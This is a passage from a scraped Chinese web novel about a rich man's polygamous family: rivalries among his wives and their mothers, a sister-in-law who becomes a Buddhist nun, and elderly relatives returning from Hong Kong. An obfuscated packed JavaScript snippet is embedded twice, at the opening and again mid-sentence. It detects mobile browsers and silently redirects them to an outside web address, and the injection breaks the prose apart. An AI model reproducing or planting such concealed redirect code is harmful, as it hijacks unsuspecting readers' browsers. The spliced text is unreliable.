;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199100|197153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
相聚,又像是情同手足一母同胞的亲姐妹。
但谁也不会让自己融入对方的生活方式中去。她们各自守着界限一起生活时分寸拿捏得恰到好处。
俩个女人时常邀约畅聊小酌,一起调侃她们自己共同的男人,处于这样一夫多妻的婚姻生活中的爱情,看似错综复杂,其实单纯简单。他们之中当然有利益所需,但对爱情婚姻的美好向往中,女人们执着保持着纯真至善健康向上的心态。
俩房的孩子们也一起玩得甚欢。俩房女人专心带孩子,给他们讲课,一起修剪花园、收拾房间,一同下厨房给男人孩子们精心弄可口美味好吃的。
俩房女人有着共侍一夫相同命运,期间并没有人们想像的尴尬局面,更没什么不快。她们同时委身一个男人,并且为他生儿育女,组建了家庭,成为合法夫妻。
但尽管如此,在诗筠心里,她只是四房的姨太太,在雪秀面前,一直保持着谦卑恭敬悉心守礼。
这时,诗筠已是三个儿子的母亲。
雪秀对诗筠以礼相待,亲切和蔼。姑娘青春美丽、活泼开朗、可以随着自己的心愿勇敢地去追求爱情婚姻生活。
雪秀欣赏心性娴熟、深明礼仪的姑娘,给姑娘出谋划策指点人生之路。可以说,雪秀有意促进诗筠跨入周家府邸。
诗筠也知道自己能够成功,全凭雨秀雪秀俩姐妹的照料。
这是一个有智慧的女子。在“女子无才便是德”的时代,投资了生物农场和医疗科技。
周振春从自己幼年时接受祖父的谆谆教导,很重视子女的教育,时常教导俩房女人体恤对方和一直保持“上善若水”的为人准则;双方以礼相待既不越矩又和睦融洽,能同时做到这些的,试问世上又能有几人?
“人前显贵,人后受罪”,这些男人深为理解追随自己的女人。
也包括男人的结发妻子现在的喻蓓。
何穗与诗筠自六年前在牛家塆周家老宅分别后,现在的何穗,当诗筠过来表示敬重看她
时,她却带着明显恼怒的口气,冲诗筠说:
“没想到你带孩子们来过好几次,而且每次来还住了那么久。苏姝不知道可以理解,你口口声声喊我‘姐’,我竟然也不知道。这周家府邸离乌浟畅通无阻才百二十几里的路程。”
那神情就是在说:即然称之为姐妹,那么,来到西山,好歹也得告知一声,虽然你与苏姝同为男人的姨太太,但并不妨碍姐妹俩之间的友谊关系。
现在的诗筠,被何穗不加掩饰连珠炮似的责问她的事情,让她最为难堪和窘迫。
她带着歉意低声道:
“姐,对不起!”
“真没想到,你也成了他的女人。现在想起来,六年前那天在乌浟宾馆里,掰开你的看,是在替他选妃呀。”
何穗越说越来气,
“你的生命力真强啊!六年的时间抬抬腿就一连生了三个,而且三个都是虎气生生的小子。”
何穗怨恼冲着诗筠说,
“现在你们外面的女人,比的就是肚子了,看谁的土地肥。苏姝是比不过你了。”
女儿苏姝,生了儿子周思雨后,一连生了俩个女儿周思祺周思萍。
面对何穗的诘难,诗筠没再出声。
市民中心广场上出现三三两两的民间艺人。有用击鼓打唱点的、有弹钢琴的、有拉小提琴的,还有练把式的。这些都是从全国各地聚集而来的民间艺人,每个人或多或少都有点技艺。从他们当中一些摊在地上的告示看,有些曾是地市级的文艺团体的演奏手。
一个七旬老人一边跳舞一边拿着一个酒瓶子喝酒。他醉熏熏的舞姿博得众人一阵阵的喝采。
和秋华冬花从巿民中心逛街回来的苏姝,偶然看到诗筠在雨秀雪秀那里哭诉,不客气质问起母亲来:
“你干嘛要说诗筠?刚才她在屋里对雨秀雪秀俩个姐在哭,雪秀肯定会给先生说,到时候先生肯定会怪我。请你过来是让你教训人家的吗?”
女儿把脸朝向母亲质问,母亲看到女儿脸上的愠怒,尽管她脸上涂着厚厚的防晒霜,反而显得更红润了。
“普通女子嫁入豪门是要付出代价的。可以锦衣玉食,可以穷奢极侈。但会无名无份,无自由之身,守着替先生生的子女,说白了就是一个生育工具,替财阀繁洐后代。从头到尾,孑然一身,连说话的人都没有,除非先生把你扶正。”
女儿把这些豪门深闺的秘诀告诉母亲,意思是说,你要守规矩,不能越雷池一步,不然倍受冷落的大太太喻蓓就是最好的例子。
“如果让你重新选择,你还会跟先生吗?”
母亲不知怎么回答女儿,她满含歉意地轻声问女儿。
“会。我不会让自己去过那种穷困潦倒的清贫生活。”女儿坚定地回答母亲后,再以不容置疑的口气说,
“跟了先生,在我看来,孤独犹在白昼之中的轮转,只是在一定的时间点时出现,过了这时间点,也就不存在了。也就是说,孤独是暂时的,而幸福却是长久的。”
女儿的回答来自于她自己的切身感受。
出身卑微,如今坐拥在高贵的周家府邸里享受着奢华的生活。
母亲点点头,表示赞同。
回到西山周家府邸时,雪秀吩咐男人好好陪陪苏姝,他们己经有两个多月没在一起了。诗筠和春子妈要照顾二岁大一点闹腾没完没了最小的儿子周思宁。他们六岁的大儿子周思新和四岁的儿子周思若,则交给爷爷周瑞年照顾。
周振春过来时,何穗特意走到他跟前,恼羞成怒地说:
“我是来告诉您……”女人望着男人,
“她是故意让我受辱。但愿也许只是我的猜测。”
她想看到男人脸上的表情,还是继续这么恼怒说下去,
“难道一个有着那种鄙视的眼神,有着从我面前走过视而不见的冷漠?能对我有什么尊重吗?”
周振春知道她是说雨秀,苏姝己经告诉他说母亲初次来周家府邸不被雨秀待见。
何穗在周家府邸有过两次遇上无视自己的雨秀,当她笑脸相迎时,对方选择视而不见,而且面露锋芒,让何穗深感受辱。
“我什么都不能改变。”女人低声说,
“我还要告诉你,我明天就回到乌浟去,今生今世再也不会来到周家府邸了,也再不愿与她们姐妹相见。”
17. 第十七章
乌浟开通了高铁,何穗依然住在乌浟小县城郊区的那栋房子里,二女儿苏如陪伴在她的身边。年过七旬的老赵依然在他的五金店里忙碌。
他又养了一只叫“小象”的田园犬。
何穗说她不孤独,这样的生活也很自在。如果她特别孤独的时候会去街上看人,人来人往会带走一切。
她还是坚持替性情懦弱的二女儿苏如准备招个上门女婿。这样既能保证自己家庭的生活,又能保持家族的延续。对于儿子思塘,女人相信最终还是会融入周家认祖归宗。
对于女人来说,以前无论是老师还是现在作为职业画家,干活本身是不累,控制自己的情绪才最累。她常常在心里面感叹:伦理、法规、世俗人情、家庭责任,无一不让人徘徊于其间。人生而自由,却又无往不在枷锁之中。少女时代说生如夏花般灿烂,中年后平凡是唯一的答案。
女人不断的自我安慰:一个人经历越多真真假假虚虚实实的事情后,就没有那么多的酸情了,只会越来越沉默,越来越不想说。
挫折经历得太少,才会觉得鸡毛蒜皮都是烦恼的事情。
“人生没有那么必要活得那么劳累与疲乏,再在哀愁之中,沉沉而去。有一种生命,意识到本能的幸福和快乐,为什么不能享受? 从相识、相信、再到相亲相交,男女之间顺应天成,完成繁洐人类的使命,有何不可? ”
“你是我一生的姐姐。”
男人把话说得很直白,女人内心好一阵凄凉。至此,她终于明白自己一直认为生命中不可缺少的一段美好的回忆,最终成了烟消云散的永远。
这正是年轻时必经的彷徨、恐惧、摸索、迷惑的表征。 要么向现实妥协,而成为精神死去的普通人,要么永远不低头,哪怕就是成为□□死去但精神不死可以用来激励后人的一束光芒。这么说简直是不是一个笑话?
何穗感叹地对大女儿说,如果要跟你妈一样坚持自我,不去迎合他人,无论在什么时间什么地点,在经历了无数的考验下最终成为自己想要成为的那样,生活才会变得更加精彩。这是一个非常曲折太艰难的事情。
相比之下,晓秀的彻底皈依了却红尘就来得绝对。周家长房太太喻蓓与柯家最小的女儿柯晓秀,这俩个女人,一个生下来受到后母的虐待,一个生下来受到父母的薄情,她们的最后人生都以了却红尘为终。俩女人放下怨恨,摈弃前仇,遁入佛门,结为姐妹。
晓秀近年时常出现在寺庙时,依旧保持着让人过目不忘的男性打扮。一些报纸连篇累牍报道她的男人打扮,甚至同性恋有怪癖嗜好的词条都用上了。
这些年,柯晓秀成了万柯公司极为的负面传奇人物。也有媒体形容她是从神话和传说中走出来的女子。
那天在大叶万柯公司周振春办公室,她还是那样放荡不羁,把头往后一仰,大声说道:
“我的世俗生活应该定格在二十六岁这个年龄段上。”
晓秀告诉周振春,自己出家,去意已决。
她故意让帽子从头上掉下来,现出光溜溜的完全没有一根头发的光头来。
“你出家……”
周振春听晓秀这么一说,愣住盯着她的光头好一会儿,问。
待缓过神来周振春立马拨通雨秀的手机,让她前来劝阻晓秀。
看着晓秀这副样子,雨秀急得哭了:
“晓秀呀,爸妈再对你不好,可是爸爸妈妈对你好,你这样子,爸爸妈妈会很伤心的……再说你现在在二姐夫的公司,有身份有地位,要什么有什么,是多少你这个年纪女孩子羡慕的对象,你这么有这想法?”
“我会跟爸爸妈妈说的。”
晓秀回答。
“晓秀呀——”
从香港闻讯赶来大叶的雪秀,抱着晓秀哭着呼唤她,“你再难也没有当年你二姐这么难呀……”
只有从西山过来的三姐细秀神情淡定地坐在一旁,一言不发地注视着晓秀,见二姐雪秀劝阻无效后,沉默良久才说:
“‘天要下雨娘要出嫁’,晓秀要出家,那就遂她的愿吧。就当爸妈没生过她。”
细秀冷漠地崩出一句话,让大家目瞪口呆。
“还是三姐理解我。”
晓秀笑着对细秀说。
晓秀对周振春姐姐们雨秀雪秀细秀说:自己无法遮掩作为一个女人的本性的存在,又无能为父母变成他们希望中的一个男子汉。这种与生俱来的挫败感,让她觉得生活在尘世中就是一种耻辱。自从自己开始喜欢佛学,发现自己大有莫名的收获,心境也变得澄朗,像是获得了一个梦幻般的启示:自己虽有着奢华的生活,富丽堂皇的身份地位,然而自己一直都在遭受可怕的折磨,像是总是被关在黑暗的监狱里。
当放下这一切,远离这个纷繁烦忧的世界,感觉得到了彻底的解脱,生命不但有智慧而且还富有成长的力量。
这一定是我从娘胎里到现在的因果关系,那就是脱离世俗生活。
如果我还生活在世俗的生活里,我还会继续让自己去疯疯癫癫,让自己去放荡去肮脏地占领充满欲望的物质财富。
我会像任何一只野兽一样,四处行走,对着你们、他们凄厉而悠长地嗥叫、对着森林和大地、月亮和太阳无休无止地去疯狂。
我要生活在一个充满希望和期待平静的世界里,不再愤怒,不再狂妄。
告知众人这一切后,她对周振春说,她要在冬塘古镇修建一座寺院和一所豪华酒店,以解决为自己日后的生活所需,并最终将老。
这时她的面容白皙明净,眼睛光亮沉静,显现柯家女人特有优雅高贵气质的特征。
“我不是天使,但让我找一个能够和自己匹配一起过日子的男人。我想今生除了二姐夫之外,再没有其他男人合适自己了。”
大半天的激动之余,一阵平静下来之后,晓秀当着三个姐姐雨秀雪秀细秀阴阳怪气地笑着,目视着二姐雪秀朝她调侃说,
“二姐,我这么厚颜无耻地说出来,你会生气吗?”
“晓秀——你怎么说得出口啊!”
雪秀呼喊着小妹妹,面对一身青衣僧服的晓秀,悲恸难抑欲哭无泪,
“他可是你二姐夫啊……”
“晓秀,爸爸妈妈姐姐都没逼你结婚呀……”
雨秀带哭腔搂着晓秀的肩膀说。
“没逼我结婚?口口声声说要我找个入赘女婿。”
像晓秀这样富有个性又有地位的女孩,在幻梦般的年纪正是渴望表达情愫之时,在灵与肉、情与理的交织与冲突中,折磨着为情所困,为情所苦,倒不如让自己了却红尘,远离世俗痛快。
如此这般,晓秀出家是经过长时间一番深思熟虑的,并非是自暴自弃。
晓秀认为父母是为了生个儿子而错误地生下了女儿身的她,在同时幼年时被生母遗弃。
少年时又一直以“男孩”的秉性去对待她。
这一切对晓秀来说都成了灾难性的摧残。
父母应该明白晓秀为什么会狠心离他们而去。尽管周瑞年春子妈夫妇收养了她,视如己出,百般宠爱,但依然弥补不了生身父母对她的巨大伤害。成年后父母逼迫她招上门女婿,导致她对自己的婚姻完全不抱任何希望,遁入佛门成了她唯一的出路。
“我总得有个心安的地方,也就是世俗眼中的灵魂之处。”
晓秀向周振春递交辞呈道出她最后的心声。
晓秀出家,周柯两家束手无策。那天晚上,周瑞年春子妈与晓秀进行过一次长谈,最终老俩口无奈同意。如果婚姻不如意,家庭生活狼狈不堪,一个人的人生必定要遭受诸般苦难,选择出家也不失让自己一生求得安宁的一个好去处。
要不,小女儿冬花就是最好的例证。
冬花终究没熬过下嫁的命运,在快三十岁上的年纪与一个市级督抚纨绔子弟结婚,男人懒惰好赌,在拉斯维加斯一掷千金,把十年来万柯公司予以的分红输得精光,不得已的冬花离婚后带着儿子住回了周家府邸,儿子也改名换姓随母姓周。按周氏“思”字辈份,取“周思来”。
如果他父亲有这种嗜好,那生育出来的孩子会不会有畸形的变态行为?想到这些冬花觉得自己可悲的遇上这么一个人,在自己这一生中,要让他如魔鬼般的羁绊自己。
峻峰山本来有一座古老的佛教寺院,它是由宋朝最古老的佛教寺院之一的崇圣寺建立。因临近冬河碧泉湖,取名碧泉寺。
和冬塘古镇一样,是一个有着悠久的历史文化的地方,自古以来就是一个重要的宗教中心。本属是一个重要的文化遗产,却在轰轰烈烈的“破四旧”运动中毁迹殆尽。
在峻峰山原先的寺庙修建。靠近冬镇古镇,既可以修行,也可以布道。
在冬塘古镇建一所酒店,专门接待远道而来的皈依人和素食者。周振春在心里同意了,而且准备拨出的款项远远超过俩个女人的期望。
设身处地想了一想,周振春同情晓秀,为晓秀也难过好一阵子。但是自己能够说什么或是做什么呢?只能尽力满足她建寺院盖酒店的愿望。但他没有出声,男人不会这么快答应。他要等晓秀将手里的工作全部交给思家后,一切万无一失,才会松口应承下来。
这是一个非常睿智富有的男人。
作为周家主心骨样的人物,男人当然也会想到把自己身边的人,最终都会有一个自己喜欢的归宿终老。
晓秀自然也不例外。
正如晓秀对他所说:我在一个神秘缩影中看到了圣贤与诗人们所预想的天堂,这正是我所追寻的,尽管幻想它对于人类的生活太过美好,却是我的最终归宿。
佛在心间,再怎么样的忧恨,也不会让人意兴阑珊,孤寂度日。
思怡发现思褀思萍没有跟上来,她站在树下等他们。思怡很熟悉这里,这庭院是她来西山周家府邸经常嬉戏玩耍的场所,可对初来乍到的思褀思萍很新奇也很陌生。
她要领着思褀思萍,并告诉他们自己在这里的故事。她们是她的小客人。
爷爷的瓜架棚孩子们最感兴趣了。大个小个的冬瓜南黄瓜茄子……成熟和正在开始成熟的,让孩子们倍感稀奇和喜悦。
水塘旁边的绿叶菜,生长茂盛更加明显。豆角和秋葵开始发芽,绿油油的芽叶纤长而细嫩,看上去特别可爱。
庭院的墙面上的蓝花藤正开着淡蓝色的花。
这些花瓣中间以深蓝色逐渐展开,花瓣和花萼上下交错,十分美丽。
何穗带着十五岁的儿子何思塘则安排在另一幢房子居住。
这孩子有着挺拔悬直的鼻梁,身材有点削瘦,显得有点单薄,但双颊绯红,很有朝气。周振春入来,孩子害怕似的环顾四周后,再定睛地望着男人,仿佛在对男人说:父亲,我在这里呢。
就是在旧金山苏姝的府邸,孩子也是这样,一见男人总是畏缩不安的情形,像是一只被遗弃用绳索拴住的小猫,让男人看在眼里既心疼又内疚。
男人知道这是自小就缺乏父爱,又处于严格的家教管理下导致懦弱的性格。
如果有一天,他告诉小孩,他的母亲和他的父亲、他的姐姐和他的父亲,当孩子明白这一切后,他会是一种什么心态?
只能告诉孩子,这只不过是在这里的一个故事,他们是他生命中的大客人。
也许最佳的方式是保持持续永远的秘而不宣的状态。
男人把眼睛移向初次回周家府邸的儿子,从眼神来看,与其说他的这双眼睛望着儿子,莫如说是让儿子看着他这双眼睛。
男人温情而平和,女人脸上的笑容开始消失了,呆呆地凝视着男人,父子俩首次在自己面前相见,让女人深深感到有一种久违亲切感。
何穗与周振春他们之间也有五年多的时间没有见面了。偶尔女人有时会在渴望中与男人通一下电话,男人在电话里的语气也是应付似的敷衍了事,这让女人更加沮丧和伤心。
当然,男人也从未有过主动打电话给女人。
“看来,你已经把我忘掉了……”
何穗走到周振春身边当着儿子的面,没头没脑地突然低声地对男人说。
男人沉默不语。一时厅堂鸦雀无声。
也许半大的思塘感觉到沉闷的气氛,转身去了自己的房间。
男人和女人在没有建立这种关系以前,俩人纯粹的姐弟之间可以无话不谈,甚至于嬉笑闹腾亲密无间,然而一旦发生有了这种关系后,双方都会感到再难以接近。此等看起来的荒谬奇谈,可能是世上罕有。
“雪秀姐姐,真是好笑,她肯定说思雨就像小时候的修子,我看修子小时的相片,确是很像。他们兄弟中,修子和思雨是最像的。”
女儿苏姝旋风般的进来,兴冲冲地告诉男人说,再扬起脸朝男人问,
“修子这次没来?”
“他在旧金山认亲,那边伯父叔父还有几家子。再说他也忙。”
男人告诉年轻女人说完,略微思忖会再说,
“思雨明年上初中,可以考虑让思雨和修子住一起,让修子带带他。”
“谁照顾他?思雨一直没离开过我。”
年轻女人对男人提出的意见有点措手不及。
“江德辰惠子可以照顾他。”
“她们也都是二十几岁的孩子。看样子,还是我过去吧。”
年轻女人用手按着额头,有点无奈地说。
这时,母亲何穗开口说:
“我也可以过去,顺便去学习西洋画,思塘我也想让修子带着。”
“我也愿意修子能带多几个弟弟妹妹。这还得问他愿不愿意。”
男人说到这,停顿了一下,看着何穗问,
“这次带思塘去老宅看看,顺便陪陪大爷大伯叔父他们。我和爸就不去了。”
男人话一刚落,苏姝看着母亲诡异地笑道说,
“雪秀姐告诉我,二堂哥会一起去。”
“他去不去,关我什么事?”
母亲立马皱起眉头,瞥了一眼男人,再盯着女儿佯装生气的样子说。
女儿放声大笑起来,男人和母亲却一点不笑。
“先生,你不笑吗?”女儿朝男人问。
男人不作答。
“先生,你不觉得可笑吗?”
“不可笑。”
“自己虽不觉得可笑,大伙都觉得可笑而笑了,你笑笑不也很好吗?”
年轻的女人故意现出一副得意的神情,看看母亲又看了看男人很风趣的样子,说。
“诡辩。什么大伙?也只是你一个人可笑吧。”
男人一本正经的样子,“你感到可笑,人家却未必可笑。”
“你可笑,无非是嘲笑母亲吧?越来越不像话了。”
何穗接上男人的话,对女儿说了一句。她朝男人呶了呶嘴,突然意识到什么,使劲地弊住笑,赶紧转身走了出去。
守住这个秘密,是男人和母亲共同的心愿。
男人知道,这一次让思塘回牛家塆周家老宅,对孩子来说,有着深远的意义和影响,一生当中将会刻骨铭心。
“你和诗筠妹妹一起时,你要象雪秀姐姐对你一样,拿出自己的风范来,去关心她照顾她,在心目中把她当成是自己的妹妹。”
男人叮嘱女人说。
“我当然也是这么做的。可她会把我当作是姐姐吧?”
女人张开双手边摩挲自己的双掌,边回答男人,她紧挨着男人的身子坐了下来,再说,
“我看她看我的眼神怪怪的,好像是不知道我到底是什么东西一样。”
“你既然是‘姐姐’,就不要与‘妹妹’计较妹妹是不是把你当‘姐姐’了。这个道理很肤浅,你应该明白。”
男人思忖片刻,再语重心长地对女人说,
“你们初次见面,开始总会有互相揣测对方,只要你们以互相照顾的心态相处,很快就会成为好姐妹的。”
“妈妈说,这次回来住久些日子。当然只能在西山住。”
女人告诉男人说。
“想住多久都行。不要回乌浟。”
“当然。”
女人回应男人道。
乌浟的家乡,太熟悉了。苏姝带着孩子不能回乌浟她母亲的家,去冬塘的话,还可以住上一些日子。
这一点,即使年轻男人不说,年轻的女人心里也明白。
在旧金山的山庄,有时候男人久不曾来,女人就会感受到无以名状的寂寞导致的情绪低落,每当这样的时候,她就会打开男人那个大衣柜,拿出整齐叠放衣服,抖开,再重新整齐叠放起来。
随着二女儿三女儿的降生,日渐长大,寂寞导致的情绪低落这才慢慢地消褪。
如今男人让她长居香港,自己觉得一下心身舒畅起来。
有人说,象这么年轻无所事事的贵夫人,来自生理上的压抑多过情感上的困扰。
年轻男人这么安慰女人:“岑寂度日,这也是寻常之事,不足为奇。大家互相尊重,互相体谅照顾,夫妻之间和睦相处,恪守家规,上赡养父母,下抚育子女,不做损人伤害的事情,心安理得,问心无愧就足以慰籍自己的整个人生。”
在男人看来,众多女眷中如果要亲近一门,就会忽略另一门。这种一夫多妻的关系,有时候会让男人无以适从,幸好男人并没有那么纠结放在心上。
苏姝很清楚,俩人初次相遇,诗筠肯定会回避自己母女。这个比自己还年轻的女人,是雪秀替男人纳入门户的,她们形同姐妹,而自己长期居住在海外,尽管也有过与雪秀弥补于好亲近的想法,无奈为时己晚,只得顺其自然地接受有点窘迫的现实。
年轻女人也曾感叹地对男人说,人生拥有纯粹的快乐,只在短短童年的那段时光里。人生究竟是苦多还是乐多?很多时候局部的乐观是建立在整体的悲观之上的,
所以劝导大家主张以快乐的态度对待人生的一切苦厄。认真每一天,快乐每一天,享受每一天,也美丽每一天。做一个生活当中坚定的乐观主义者。
男人曾经告诉女人,有时候人要忘记自己的存在。年轻女人觉得自己并不肤浅。
年轻的女人希望下一胎再能是一个儿子。这些普通人家的女子嫁入豪门后,造人成了她们的首选之急。当然万一再是个女儿,也可以通过自小的教育培养她的品行。
“她们是新新人类,想法大胆而率真,没有世俗限制,也不受任何所谓道德理念上的约束。”
一些熟悉豪门女眷的人,这样赞许她们。
作为公司副董事长,主管人事总经理的柯雨秀,现在手里统管万柯公司数万人的人事管理和安排,其身份地位不容小觑,在周家仅次于周瑞年周振春。当然她现在前来,也是为了妹妹雪秀儿子接班的问题,在男人妻妾成群的子女当中,必须要让妹妹保持稳定的地位。她知道周振春携众人回西山周家府邸,停留数日,必定是有重大的事情发生。
现在这位万柯公司统管数万人人事安排的副董事长,回到周家府邸后,作为大儿媳妇的雨秀,早己接手春子妈,已经被周家上下认可家庭的大总管。
周家聚集时,凡事诸无巨细一切她说了算。
她不见何穗,决不是因为忙于事务,而是故意冷落,摆明是在鄙视她。
在柯家姐妹的心里,何穗既然能让女儿做周振春的女人,那么与二堂哥周振实生孩子就不是什么奇怪的事情了。
她是直接导致周氏家族二儿媳妇文小尚自尽的元凶。至此,何穗遭到柯家三姐妹的鄙视。她们之间昔日情同姐妹的情谊,也就情断义绝了。
男人从苏姝母女俩这里离开后,诗筠特意牵着怡子过来向苏姝示好。俩房女人很快就熟悉起来。
“他说,‘太太的地位不可动摇’。让我们不要贪心。”
雪秀把男人的这句话告诉诗筠,诗筠把这句话告诉如今海外归来的苏姝。
“他对雪秀姐这么说,让雪秀姐对你这么说,现在你对我也是这么说。”
诗筠过来主动示好,让苏姝很高兴,她像是明白了什么,习惯性眨着眼睛笑着幽默地对诗筠说。
接着她像是有什么秘密一样,故意逗诗筠笑着问她:
“他不会对你妈也是这么说吧?他跟你妈很熟吗?”
诗筠摇摇头,表示否定。
“就算他跟你妈熟,他也不会跟你妈这么说。他跟我妈这么说,是因为我妈是他‘姐’。从小看着他长大。”
苏姝用引以为荣的口气说。
有着大眼睛的怡子和五官组合在一块儿,她的挺直的鼻子和小巧的嘴就显得小了。仔细观察,会发现形状很好看,让人不由得发笑。
女儿继承了母亲雪秀颀长的脖颈和浑圆的肩膀,说起话来也是喋喋不休,嘴巴比母亲更伶牙俐齿。
女儿深受父亲疼爱,被父亲视为掌上明珠。
现在诗筠牵着男人备受男人宠爱的女儿前来,苏姝知道借此让自己特意去亲近她。
苏姝抱着怡子和她玩一会儿,本想拉着她出去找自己的女儿思祺思萍让她们一起玩。
出来看到诗筠的大儿子周思新领着周思若、和自己俩女儿思祺思萍,走到爷爷的菜地那儿停了下来。
孩子们闹闹嚷嚷着,在帮老人用水管给菜地浇水。
时值盛夏,阳光照亮大地,白云一片一片地飘在蓝色的天空上,一条小路穿过爷爷的几垄菜地,延伸到庭院尽头红砖砌筑的围墙。雪秀提着篮子,喻蓓跟在她身后,俩女人戴着草帽沿着小路去爷爷的菜地摘菜。
苏姝知道这位心高气傲跟着雪秀身后的喻蓓,如今在设法亲近雪秀。这次男人并没有告诉她喻蓓的到来,她现在还不知道自己以
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199101|197153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
何种方式与喻蓓接近。
因为看着喻蓓跟在雪秀后面,苏姝还是折回头往屋里走去。
在雪秀面前,此时喻蓓必须竭尽心力、百般讨好,装得十分亲密,寻求庇护,如若发生意外,自己和子女势必无力自保,近二十年来的努力打下的江山积攒下来巨额财产,将会前功尽弃付之东流。
“你要不要一起过去?雪秀姐在。”
诗筠拦着苏姝朝她问。
“我和她才刚见过一面。这种环境这种场合,初次一起,不知道说什么好。听雪秀姐说,她不光脸色让人难看,嘴巴说话也让人难堪。”
“她这是故意显示自己的地位。你别放心上就是了。你只要对雪秀姐好,就不要去在意她。”
男人新纳入门的诗筠,仗着与雨秀雪秀俩姐妹亲密的关系,完全无视于喻蓓的存在,
与喻蓓相遇四目相对时,看喻蓓好像是在欣赏什么稀奇的怪物,眼神既可笑又可怜,毫无顾忌,让高傲的喻蓓感觉自己有一种被捉弄的屈辱,只能忍气吞声。
苏姝介意与喻蓓一起,太阳也大,为了保持肤白,自己也怕晒,不愿过去菜地。
诗筠从苏姝这拿着一顶遮阳帽,戴在头上,让怡子留在苏姝身边,她自己岀来也去了菜地,和雪秀喻蓓一起去摘菜。
无论是在香港女人的府邸还是回西山周家府邸,诗筠与雪秀俩房女人一起,诗筠总是身前身后牵手怡子跟着雪秀。
这个年轻得宠的女人,也许是太过于顺境年轻健□□下三个儿子也分外清朗俊逸。
她尚未生育女儿,就把怡子当自己的女儿疼爱,还在她自己的府邸特意为怡子准备一间豪华的卧室:精致的卧床、大梳妆台、带童画的窗帘、儿童衣柜……布置成了好像是小公主般的殿堂。
怡子也喜欢跟着她,称诗筠“二妈”,让诗筠既尴尬又好笑。按入门诗筠排行“四”,名份上正正规规称为“四姨”才合适。
小女儿怡子这么一叫,形同抢了雪秀的名份地位。当然雪秀呵呵笑着,也不会计较。
苏姝教怡子涂防晒霜,她轻轻地握着怡子的手,把打开防晒霜粉扑在怡子的脸上,上了一层粉后,怡子的脸就跟蒙了一层透明膜的布娃娃一样。
女人的手充满爱,想必孩子也感受到了。
苏姝又拿起经常涂的珊瑚色口红涂在怡子嘴唇上,怡子也很喜欢。
“我拿妈妈的涂,妈妈就说我。二妈的味道香甜。你的好像没什么味啊。”
七岁的怡子以大人的口气说,让女人心里感叹不已:
女人不会太在意男人对自己有多少情分,但会在意对子女有多少的愧疚之心。
孩子们自小缺乏父爱,不具有阳刚之气,在人面前总是显现怯懦畏缩的样子,没有怡子这份开朗活泼的姿态,也不具有修子山子诚子他们那份淡定从容。
女人的心境一下有些忧伤起来。
对于周瑞佑周瑞恩来说,香港的生活并未如兄弟俩早年所期“打出一片天地”,但他们认为能够劫后余生成功留在香港、生活安定,便是命运最好的安排。
这一天,逃亡香港四十六年的周元昌周瑞佑周瑞恩在周振春的陪同下,回到西山周家府邸。
“那个残酷斗争的时代,只有队伍上的人才能救人。”周瑞年告诉弟弟周瑞恩说,“从家里回部队后,刚刚一年,第二年上部队就来人送来烈士证书。”
“我也没想到瑞孝瑞安俩哥哥就这么走了。”
周瑞恩百感交集,很伤心地长吁短叹地说。
“要不是大伯父二伯父俩烈士,我们周家就会遭到灭门之灾。”周振春告诉大家说。
周元昌见到弟弟周元仕,他们俩兄弟一起长大。尽管懵懂的弟弟周元仕只知道朝他笑,但认得出他是自己的大哥。
周元仕知道坐在小儿子周瑞恩身边同一张沙发上。小儿子周瑞恩握住他的手,他就笑得开一点也笑得久一些。他吸着周瑞恩递给的“中华牌香烟”,咧着嘴高兴看着小儿子笑。
小儿子的泪水却如水注般从脸上淌流泻下。
父亲懵懂傻呆的样子,让久别重逢的儿子一度伤心欲绝。
“这是我有生以来看到爷爷哭得最伤心的一次。”周思家在旁边悄声对雪秀说。
这让周元昌也很伤心,老人告诉大家说:
“他小时候就象云子,白白胖胖,调皮捣蛋,天天追着我玩。现在却成了这样……”
周元昌大爷哭起来,一家大大小小的人跟着伤心又哭了一阵。
耄耋之年的老人,也许很多事都会遗忘,但常能回忆起当年年轻时身边的人的样貌和笑容,甚至幼年时一些平常的事情。
“五叔,知道他是谁吗?”张连英问他。
“他是我大哥。”爷爷回答。
“爷爷只是懵懂,但记忆力还是有的。”春子妈告诉周元昌大爷和周瑞佑周瑞恩他们。
张连英拒绝见周瑞佑。对逃亡在外的丈夫,在经过长达四十余年漫长的岁月后,这个孑然一身受尽孤苦倔犟笨拙的女人,早已抹去了记忆。长期的寡居生活也迫使她的思考能力落入狭窄的深渊,媳妇文小尚的自尽,更增添了她内心深处那份悲凉孤独的宿命。
张连英拒绝见周瑞佑,也得到周家俩个核心人物周瑞年周振春的认可。
周瑞年说,如果对对方心存愤懑和怨恨,俩人还不如不见为好。
仰仗周瑞年周振春的照顾有加,不光是寡母张连英,就连儿子周振实对阔别四十余年的父亲也没有表现出父子间那份久别重逢感情上的亲切。
这边周瑞恩对春子妈雨秀温婉仪说:
“为了我们操劳一辈子,到了享清福的时候,却一点都没有享到。现在看到父亲只能在菜地里劳作,真是让人伤心。”
“时间一长也就习惯了。”
“爷爷这样才好,懵懵懂懂的,什么都不用操心,只知道一门心思干活。”
云子却是一副毫无怜悯的表情笑着说。
“怪不得你二哥不骂你!没大没小的,好心出恶语。”
雨秀立马对云子斥他一句说。
“人们说面具眼睛朝下,面带愁容,表情显得忧郁;眼晴朝上,面部生辉,表情就显得明朗。让它左右活动,据说是表示心潮的起伏。”
温婉仪插进话笑着说,她为云子的尴尬开解,
